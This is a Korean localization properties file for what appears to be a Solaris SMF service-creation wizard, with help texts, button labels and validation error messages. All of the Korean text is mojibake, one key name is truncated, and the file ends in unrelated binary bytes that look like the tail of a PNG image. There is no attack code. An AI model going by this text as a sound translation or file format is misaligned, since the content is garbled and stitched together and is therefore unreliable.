whats_this_dept_grouping=ì´ ì„œë¹„ìŠ¤ê°€ 종ì†ì— ë”°ë¼ ì¤€ìˆ˜ í•  그룹화 ê°’ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤. 그룹화 ê°’ì€ ì¢…ì†ì„± ê´€ê³„ì˜ íŠ¹ì„±ì„ ê²°ì •í•©ë‹ˆë‹¤. 예를 들어 require_allì˜ ê²½ìš° 종ì†ì„ 지정하는 ê·¸ë£¹ì˜ ëª¨ë“  서비스는 종ì†ì´ 시작ë˜ê¸° ì „ì— ì˜¨ë¼ì¸/저하ë˜ì–´ì•¼í•˜ê³ , require_anyì˜ ê²½ìš° 모든 ê·¸ë£¹ì´ ì˜¨ë¼ì¸/저하ë˜ì–´ì•¼í•©ë‹ˆë‹¤. optional_allì˜ ê²½ìš° 모든 사용 가능하고 실행할 수있는 서비스는 온ë¼ì¸ì´ì–´ì•¼í•˜ê³  exclude_allì˜ ê²½ìš° 서비스가 온ë¼ì¸/성능 저하 ëœ ê²½ìš° ì¢…ì† ì„œë¹„ìŠ¤ë¥¼ 실행하지 않아야합니다.
whats_this_dept_restart_on=ì—¬ê¸°ì— ê²°í•¨ 전파 모ë¸ì„ 지정하십시오. 즉,ì´ ì„œë¹„ìŠ¤ëŠ” ê²°í•¨ì„ ì¢…ì† ì‹œìŠ¤í…œì— ì–´ë–»ê²Œ 전파해야합니까? ê°’ì€ ì—†ìŒ (시작 후 ì„œë¹„ìŠ¤ì— ì˜ì¡´í•˜ì§€ ì•ŠìŒ), 오류 (ì„œë¹„ìŠ¤ì— ì˜¤ë¥˜ê°€ìžˆëŠ” 경우 다시 ì‹œìž‘ì— ë”°ë¼ ë‹¤ë¦„), 다시 시작 (서비스가 다시 시작ë˜ë©´ 다시 ì‹œìž‘ì— ë”°ë¼ ë‹¤ë¦„) ë° ìƒˆë¡œ 고침 (서비스가 새로 ê³ ì³ì§€ë©´ 다시 시작ë¨)입니다.
whats_this_pgroup_detail=smfì—ì„œ 모든 서비스 ì •ë³´, 종ì†ì„±, 실행 방법 ë“±ì€ ì†ì„± 그룹 ë‚´ì— ì†ì„±ìœ¼ë¡œ 저장ë©ë‹ˆë‹¤. ë˜í•œ 서비스는 다른 ì†ì„± (예 : inetd 서비스는 inetd 위임 ëœ ìž¬ì‹œìž‘ìžê°€ ì´í•´í•˜ê³  필요로하는 ì†ì„±ì„ 지정해야합니다. 서비스는 ìžì²´ ì‘ìš© 프로그램 ë°ì´í„°ë¥¼ ì†ì„±ì— 저장할 ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤. smf (5)를 참조하십시오.
whats_this_pgroup_name=특성 그룹 ì´ë¦„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. smf (5)를 참조하십시오.
whats_this_pgroup_type=특성 그룹 ìœ í˜•ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. smf (5)를 참조하십시오.
whats_this_sinst_pgroup_name=ì ì ˆí•œ 서비스/ì¸ìŠ¤í„´ìŠ¤ 레벨ì—ì„œ ì†ì„± ê·¸ë£¹ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤. ì´ë¥¼ 통해 ì¸ìŠ¤í„´ìŠ¤ 별 ë° ì„œë¹„ìŠ¤ 수준ì—ì„œ ì†ì„±ì„ ìƒì„±/ì—…ë°ì´íŠ¸ í•  수 있습니다.
whats_this_prop_detail=íŠ¹ì„±ì€ íŠ¹ì„± 그룹과 ì—°ê´€ë˜ë©° 서비스 관련 정보를 저장하는 ë° ì‚¬ìš©ë©ë‹ˆë‹¤. smf (5)를 참조하십시오.
whats_this_prop_name=ì†ì„± ì´ë¦„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. smf (5)를 참조하십시오.
whats_this_prop_type=ì†ì„± ìœ í˜•ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. 유효한 ìœ í˜•ì€ count, integer, opaque, host, hostname, net_address_v4, net_address_v6, time, astring, ustring, boolean, fmri, uri입니다. smf (5)를 참조하십시오.
whats_this_prop_value=특성 ê°’ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. smf (5)를 참조하십시오.
whats_this_man_detail=서비스 맨 페ì´ì§€ ì„¤ëª…ì„œì— ê´€í•œ 정보를 제공하십시오. man (1)ì„ ì°¸ì¡°í•˜ì‹­ì‹œì˜¤.
whats_this_man_title=맨 페ì´ì§€ ì œëª©ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. man (1)ì„ ì°¸ì¡°í•˜ì‹­ì‹œì˜¤.
whats_this_man_section=맨 페ì´ì§€ ì„¹ì…˜ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. man (1)ì„ ì°¸ì¡°í•˜ì‹­ì‹œì˜¤.
whats_this_man_manpath=manpath를 지정하십시오. man (1)ì„ ì°¸ì¡°í•˜ì‹­ì‹œì˜¤.
whats_this_template_detail=서비스 세부 사항, ì¼ë°˜ì ìœ¼ë¡œ 사용ë˜ëŠ” ì´ë¦„ ë° ì„œë¹„ìŠ¤ì˜ ê¸°ëŠ¥ì— ëŒ€í•œ ì„¤ëª…ì„ ì œê³µí•˜ì‹­ì‹œì˜¤.
whats_this_template_common_name=ì„œë¹„ìŠ¤ì˜ ê³µí†µ ì´ë¦„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤.
whats_this_template_description=서비스를 설명하십시오.
wizard_back=ë’¤
wizard_next=다ìŒ
wizard_add=ë”하다
wizard_update=최신 정보
wizard_new=새로운
wizard_remove=없애다
wizard_finish=ë
smfwizard_title=SMF 서비스 ìƒì„±
smfwizard_service_heading=서비스 정보를 입력하십시오
smfwizard_service_description=여기ì—ì„œ 최ìƒìœ„ 서비스 정보를 지정/편집하십시오. 서비스 ì´ë¦„ì˜ ê²½ìš° ê·œì¹™ì€ [general_service_category]/[name] 형ì‹ì„ 사용하는 것입니다. ì´ë¯¸ ì œê³µëœ ë²”ì£¼ì—는 ì‘ìš© 프로그램 (ìƒìœ„ ì‘ìš© 프로그램), 마ì¼ìŠ¤í†¤ (ì´ë¦„ 서비스와 ê°™ì€ ë‹¤ë¥¸ 서비스 모ìŒ), í”Œëž«í¼ (í”Œëž«í¼ ë³„ 서비스), 시스템 (Solaris 시스템 서비스), 장치 (장치 별 서비스), ë„¤íŠ¸ì›Œí¬ (네트워í¬)ê°€ í¬í•¨ë©ë‹ˆë‹¤./ì¸í„°ë„· 서비스) ë° ì‚¬ì´íŠ¸ (사ì´íŠ¸ 별 설명) ìžì‹ ì˜ 범주를 지정할 ìˆ˜ë„ ìžˆì§€ë§Œ ëŒ€ë¶€ë¶„ì˜ ì„œë¹„ìŠ¤ëŠ” ìœ„ì˜ í•˜ë‚˜ì— íŽ¸ì•ˆí•˜ê²Œ 맞아야합니다. 정수 버전 ë²ˆí˜¸ë„ ì§€ì •í•˜ì‹­ì‹œì˜¤. smf (5)를 참조하십시오. svccfg (1M)를 참조하십시오. service_bundle (4)를 참조하십시오.
smfwizard_service_name=서비스 ì´ë¦„ì„ ìž…ë ¥í•˜ì‹­ì‹œì˜¤
smfwizard_service_name_error=* ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_service_version=서비스 버전 입력
smfwizard_service_version_error=* ë²„ì „ì€ ì–‘ìˆ˜ 여야합니다! *
smfwizard_instance_heading=ì¸ìŠ¤í„´ìŠ¤ ì •ë³´ ìž…ë ¥
smfwizard_instance_description=ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤. ì¸ìŠ¤í„´ìŠ¤ê°€ 하나만있는 서비스는 ì¼ë°˜ì ìœ¼ë¡œ ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„으로 ê¸°ë³¸ì„ ì‚¬ìš©í•©ë‹ˆë‹¤ (예 : inetd). 다른 구성으로 실행ë˜ëŠ” ë™ì¼í•œ ë°”ì´ë„ˆë¦¬ì˜ 여러 ì¸ìŠ¤í„´ìŠ¤ë¥¼ 허용하는 서비스ì—는 여러 ì¸ìŠ¤í„´ìŠ¤ê°€ 필요합니다 (예 : 청구 ëœ inetd 서비스. ë™ì¼í•œ í¬íŠ¸ì—ì„œ 실행ë˜ëŠ” 스트림 ë° ë°ì´í„° 그램 기반 ë²„ì „ì´ ëª¨ë‘ í•„ìš”í•©ë‹ˆë‹¤. smf (5)를 참조하십시오.
smfwizard_instance_name=ì¸ìŠ¤í„´ìŠ¤ ì´ë¦„ 지정
smfwizard_instance_name_error=* ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_instance_enabled=ì´ ì„œë¹„ìŠ¤ ì¸ìŠ¤í„´ìŠ¤ê°€ 기본ì ìœ¼ë¡œ 사용 가능한지 여부를 지정하십시오.
smfwizard_instance_enabled_error=* 활성화는 true/false 여야합니다 *
smfwizard_sinst_name=íŠ¹ì„±ì´ ì ìš©ë˜ëŠ” 서비스/특정 ì¸ìŠ¤í„´ìŠ¤ë¥¼ ì„ íƒí•˜ì‹­ì‹œì˜¤.
smfwizard_sinst_error=* 서비스 ë˜ëŠ” ì¸ìŠ¤í„´ìŠ¤ë¥¼ ì„ íƒí•´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_restarter_heading=재시작 정보 입력
smfwizard_restarter_description=기본ì ìœ¼ë¡œ 서비스는 마스터 재시작 기 (시스템/다시 시작 서비스)를 사용하여 ë™ìž‘ì„ ì œì–´í•©ë‹ˆë‹¤. inetd와 ê°™ì€ ìœ„ìž„ ëœ ë‹¤ì‹œ 시작 í”„ë¡œê·¸ëž¨ë„ ì§€ì •í•  수 있습니다. ì´ë¦„ì—ì„œ ì•Œ 수 ìžˆë“¯ì´ ìœ„ìž„ ëœ ë‹¤ì‹œ 시작 서비스를 사용하여 서비스 시작/중지를 처리하고 inetdì˜ ê²½ìš° ì´ëŸ¬í•œ ë°©ë²•ì˜ ì´ë¦„ì´ ë§ˆìŠ¤í„° 다시 시작 기반 서비스와 다른 ì´ë¦„으로 표시ë©ë‹ˆë‹¤. inetd (1M)를 참조하십시오. svc.startd (1M)를 참조하십시오. smf_restarter (5)를 참조하십시오.
smfwizard_restarter_fmri=FMRI ì‹ë³„ 재시작기를 입력하십시오
smfwizard_restarter_fmri_error=* 유효한 FMRI가 아닙니다! *
smfwizard_dependency_heading=ì˜ì¡´ì„± ì •ë³´ ìž…ë ¥
smfwizard_dependency_description=종ì†ì„±ì€ 서비스가 실행ë˜ê¸° ì „ì— ì–´ë–¤ 서비스를 실행해야하는지 지정하는 ë°©ë²•ì„ ì œê³µí•©ë‹ˆë‹¤. ì˜ì¡´ì„±ì„ 불러내는 ê²ƒì€ SMFì˜ ì£¼ìš” ì´ì  중 하나입니다. init 스í¬ë¦½íŠ¸ ë“±ì´ ì—‰í‚¨ ì›¹ì— ê²°ì • ë¡ ì  êµ¬ì¡°ë¥¼ 부과하기 때문입니다. ì˜ì¡´ì„±ì€ 서비스가 모든 ê²ƒì„ ê¸°ë‹¤ë¦´ 것ì´ë¼ëŠ” ì˜ë¯¸ì˜ 그룹화를 지정할 수있는 ìœ ì—°ì„±ì„ ì œê³µí•©ë‹ˆë‹¤. 종ì†ì„±ì´ 온ë¼ì¸ ìƒíƒœê°€ë˜ê±°ë‚˜ (require_all) ê·¸ë£¹ì˜ êµ¬ì„±ì› (require_any)ì„ ê¸°ë‹¤ë¦¬ê±°ë‚˜, 활성화 ëœ ëª¨ë“  구성ì›ì„ 기다리거나 (optional_all), ê·¸ë£¹ì´ í™œì„±í™”ë˜ì§€ ì•Šì€ ê²½ìš°ì—만 실행 (exclude_all). ì—¬ê¸°ì— ê²°í•¨ 전파 모ë¸ì„ 지정하십시오. 즉, 서비스가 종ì†ì„±ì˜ ê²°í•¨ì— ì–´ë–»ê²Œ 대ì‘해야합니까? ê°’ì€ ì—†ìŒ (시작 후 종ì†ì„±ì— ì‹ ê²½ 쓰지 ì•ŠìŒ), 오류 (종ì†ì„±ì— 결함ì´ìžˆëŠ” 경우 다시 시작), 다시 시작 (종ì†ì„±ì´ 다시 시작ë˜ë©´ 다시 시작) ë° ìƒˆë¡œ 고침 (종ì†ì„±ì´ 새로 ê³ ì³ì§€ë©´ 다시 시작)ì´ ì—†ìŠµë‹ˆë‹¤. 마지막으로 종ì†ì„± ë° ì•ˆì •ì„±ì„ ì‹ë³„하는 fmri를 지정하십시오 (ì„ íƒ ì‚¬í•­). smf (5)를 참조하십시오.
smfwizard_dependency_name=종ì†ì„± ì´ë¦„ì„ ìž…ë ¥í•˜ì‹­ì‹œì˜¤
smfwizard_dependency_name_error=* ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependency_type=ì˜ì¡´ì„± 유형 ìž…ë ¥
smfwizard_dependency_type_error=* ìœ í˜•ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependency_grouping=종ì†ì„± 그룹화를 ì„ íƒí•˜ì‹­ì‹œì˜¤.
smfwizard_dependency_grouping_error=* 그룹화는 nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependency_restart_on=다시 시작 ê°’ ì„ íƒ
smfwizard_dependency_restart_on_error=* 다시 시작 ê°’ì€ ë„ì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependency_fmri=FMRI ì‹ë³„ ì˜ì¡´ì„± ìž…ë ¥
smfwizard_dependency_fmri_error=* 유효한 FMRI가 아닙니다! *
smfwizard_dependency_stability=ì˜ì¡´ì„± 안정성 ê°’ ì„ íƒ
smfwizard_dependency_stability_error=* ì•ˆì •ì„±ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependent_heading=ì¢…ì† ì •ë³´ ìž…ë ¥
smfwizard_dependent_description=부양 ê°€ì¡±ì€ ì•½ê°„ 혼란스러워 ë³´ì¼ ìˆ˜ 있습니다. 왜 ì–´ë–¤ 서비스가 ë‚´ ì„œë¹„ìŠ¤ì— ì˜ì¡´ 하는지를 지정하는 ë©”ì»¤ë‹ˆì¦˜ì´ ìžˆëŠ”ë° í›„ë³´ì— ì˜ì¡´ì„±ì„ 추가 í•  수 없습니까? 부양 ê°€ì¡±ì€ ê·€í•˜ê°€ 부양 매니페스트를 소유하지 ì•Šê³ ì´ë¥¼ 수행 í•  수없는 ìƒí™©ì„ 해결합니다. ê²°ê³¼ì ìœ¼ë¡œ ì¢…ì† í•­ëª©ì€ ì¢…ì†ì„±ê³¼ 매우 유사하지만 현재 ì„œë¹„ìŠ¤ê°€ì´ ì¢…ì†ì„±ì— ì˜ì¡´í•˜ë„ë¡ ì§€ì •í•˜ëŠ” 대신 현재 ì„œë¹„ìŠ¤ê°€ì´ í•˜ìœ„ 서비스/ì˜ì¡´ì— 대한 종ì†ì„±ì´ë¼ê³ í•©ë‹ˆë‹¤. 종ì†ì„±ê³¼ 마찬가지로 그룹화, restart_on ê°’ì„ ì§€ì •í•  수 있습니다. 부양 ê°€ì¡±ì˜ ê²½ìš°, FMRI는 부양 가족 (ìžì‹) 서비스를 ë§í•©ë‹ˆë‹¤. smf (5)를 참조하십시오.
smfwizard_dependent_name=ì¢…ì† ì´ë¦„ì„ ìž…ë ¥í•˜ì‹­ì‹œì˜¤
smfwizard_dependent_name_error=* ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependent_type=ì¢…ì† ìœ í˜•ì„ ìž…ë ¥í•˜ì‹­ì‹œì˜¤
smfwizard_dependent_type_error=* ìœ í˜•ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependent_grouping=ì¢…ì† ê·¸ë£¹í™” ì„ íƒ
smfwizard_dependent_grouping_error=* 그룹화는 nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependent_restart_on=다시 시작 ê°’ ì„ íƒ
smfwizard_dependent_restart_on_error=* 다시 시작 ê°’ì€ ë„ì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_dependent_fmri=FMRI ì‹ë³„ ì˜ì¡´ì„± ìž…ë ¥
smfwizard_dependent_fmri_error=* 유효한 FMRI가 아닙니다! *
smfwizard_dependent_stability=ì˜ì¡´ì„± 안정성 ê°’ ì„ íƒ
smfwizard_dependent_stability_error=* ì•ˆì •ì„±ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_exec_heading=실행 방법 정보 입력
smfwizard_exec_description=실행 ë°©ë²•ì€ smf ì„œë¹„ìŠ¤ì˜ í•µì‹¬ì´ë©° 서비스 시작/중지시 실행할 í”„ë¡œê·¸ëž¨ì„ ì§€ì •í•©ë‹ˆë‹¤. 위임 ëœ ë‹¤ì‹œ 시작 (예 : inetd)ì„ ì‚¬ìš©í•˜ëŠ” 서비스는 시작/중지 방법 (inetd_start, inetd_stop)ì— ê³ ìœ  í•œ ì´ë¦„ì„ ê°–ì§€ë§Œ 마스터 다시 ì‹œìž‘ì„ ì‚¬ìš©í•˜ëŠ” 서비스는 ì¼ë°˜ì ìœ¼ë¡œ 최소한 start ë° stop 메소드ë¼ëŠ” ì´ë¦„ì˜ exec_methods를 지정합니다. 시간 초과 ê°’ (ì´ˆ 단위)ì„ ì´ˆê³¼í•˜ëŠ” 메소드는 종료ë©ë‹ˆë‹¤. 제한ë˜ì§€ ì•Šì€ ë©”ì†Œë“œì˜ ê²½ìš° 시간 종료를 0으로 설정하십시오. exec 메소드 ìžì²´ì˜ 경우 메소드와 ì¸ìˆ˜ì˜ 경로를 제공해야합니다. 키워드 : kill ë° : trueê°€ 제공ë˜ë©° 실행 방법으로 사용할 수 있습니다. ì „ìžëŠ” ì„œë¹„ìŠ¤ì— ì˜í•´ ì‹œìž‘ëœ ëª¨ë“  프로세스를 종료하고 후ìžëŠ” 다시 시작 ìžì—게 ì„±ê³µì„ ë¦¬í„´í•©ë‹ˆë‹¤. ë˜í•œ 메소드 토í°ì„ 사용하여 smf 관련 정보를 ë©”ì†Œë“œì— ì „ë‹¬í•  수 있습니다. 사용ìž/그룹/ê¶Œí•œì— ëŒ€í•œ 재정ì˜ëŠ” 기본 메소드 환경 (initì—ì„œ ìƒ ì†ë¨)으로 지정할 수 있습니다. smf_method (5)를 참조하십시오. svc.startd (1M)를 참조하십시오. inetd (1M)를 참조하십시오.
smfwizard_exec_name=실행 방법 ì´ë¦„ ìž…ë ¥
smfwizard_exec_name_error=* ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_exec_timeout=실행 메소드가 종료 ëœ í›„ 시간 종료 (ì´ˆ)를 입력하십시오.
smfwizard_exec_timeout_error=* 시간 초과는 정수 여야합니다! *
smfwizard_exec_exec=메소드와 ì¸ìˆ˜ë¥¼ 실행할 경로를 입력하십시오.
smfwizard_exec_exec_error=* 실행 ë°©ë²•ì€ ë„ì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_exec_user=기본 메소드 환경 사용ìžì— 대한 대체를 지정하십시오.
smfwizard_exec_user_error=* ìž˜ëª»ëœ ì‚¬ìš©ìž! *
smfwizard_exec_group=기본 메소드 환경 ê·¸ë£¹ì— ëŒ€í•œ 대체를 지정하십시오.
smfwizard_exec_group_error=* ìž˜ëª»ëœ ê·¸ë£¹! *
smfwizard_exec_privileges=기본 메소드 환경 íŠ¹ê¶Œì— ëŒ€í•œ 대체를 지정하십시오.
smfwizard_exec_privileges_error=* ìž˜ëª»ëœ íŠ¹ê¶Œ! *
smfwizard_property_group_heading=특성 그룹 세부 사항 입력
smfwizard_property_group_description=smfì—ì„œ 모든 서비스 ì •ë³´, 종ì†ì„±, 실행 방법 ë“±ì€ ì†ì„± 그룹 ë‚´ì— ì†ì„±ìœ¼ë¡œ 저장ë©ë‹ˆë‹¤. ë˜í•œ 서비스는 다른 ì†ì„± (예 : inetd 서비스는 inetd 위임 ëœ ìž¬ì‹œìž‘ìžê°€ ì´í•´í•˜ê³  필요로하는 ì†ì„±ì„ 지정해야합니다. 서비스는 ìžì²´ ì‘ìš© 프로그램 ë°ì´í„°ë¥¼ ì†ì„±ì— 저장할 ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤. smf (5)를 참조하십시오.
smfwizard_property_group_name=특성 그룹 ì´ë¦„ 지정
smfwizard_property_group_name_error=* ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_property_group_type=특성 그룹 유형 지정
smfwizard_property_group_type_error=* ìœ í˜•ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_property_group_stability=property_group 안정성 ê°’ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤.
smfwizard_property_group_stability_error=* ì•ˆì •ì„±ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_property_heading=부ë™ì‚° ì •ë³´ ìž…ë ¥
smfwizard_property_description=ì†ì„±ì€ ì†ì„± 그룹과 ì—°ê²°ë˜ë©° 서비스 ë˜ëŠ” ì¸ìŠ¤í„´ìŠ¤ 관련 정보를 저장하는 ë° ì‚¬ìš©ë©ë‹ˆë‹¤. smf (5)를 참조하십시오.
smfwizard_pgroup_name=ì†ì„± 그룹 ì„ íƒ
mfwizard_pgroup_name_error=* ì†ì„± ê·¸ë£¹ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_property_name=ì†ì„± ì´ë¦„ì„ ìž…ë ¥í•˜ì‹­ì‹œì˜¤
smfwizard_property_name_error=* ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_property_type=부ë™ì‚° 종류 ì„ íƒ
smfwizard_property_type_error=* ìœ í˜•ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_property_value=ì†ì„± ê°’ ìž…ë ¥
smfwizard_property_value_error=*ìž˜ëª»ëœ ê°’!*
smfwizard_template_heading=템플릿 ìƒì„¸ ì •ë³´ ìž…ë ¥
smfwizard_template_description=서비스 세부 사항, ì¼ë°˜ì ìœ¼ë¡œ 사용ë˜ëŠ” ì´ë¦„ ë° ì„œë¹„ìŠ¤ì˜ ê¸°ëŠ¥ì— ëŒ€í•œ ì„¤ëª…ì„ ì œê³µí•˜ì‹­ì‹œì˜¤.
smfwizard_template_common_name=ì„œë¹„ìŠ¤ì˜ ê³µí†µ ì´ë¦„ì„ ì§€ì •í•˜ì‹­ì‹œì˜¤.
smfwizard_template_common_name_error=* 공통 ì´ë¦„ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_template_svc_description=서비스 설명
smfwizard_template_svc_description_error=* ì„¤ëª…ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_manpage_heading=맨 페ì´ì§€ 세부 사항 ìž…ë ¥
smfwizard_manpage_description=서비스 맨 페ì´ì§€ ì„¤ëª…ì„œì— ê´€í•œ 정보를 제공하십시오. man (1)ì„ ì°¸ì¡°í•˜ì‹­ì‹œì˜¤.
smfwizard_manpage_title=맨 페ì´ì§€ 제목 지정
smfwizard_manpage_title_error=* ì œëª©ì€ nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_manpage_section=맨 페ì´ì§€ 섹션 지정
smfwizard_manpage_section_error=* ì„¹ì…˜ì€ ë„ì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
smfwizard_manpage_manpath=맨 패스 지정
smfwizard_manpage_manpath_error=* 맨 패스는 nullì´ ì•„ë‹ˆì–´ì•¼í•©ë‹ˆë‹¤! *
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•á¯˜G{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚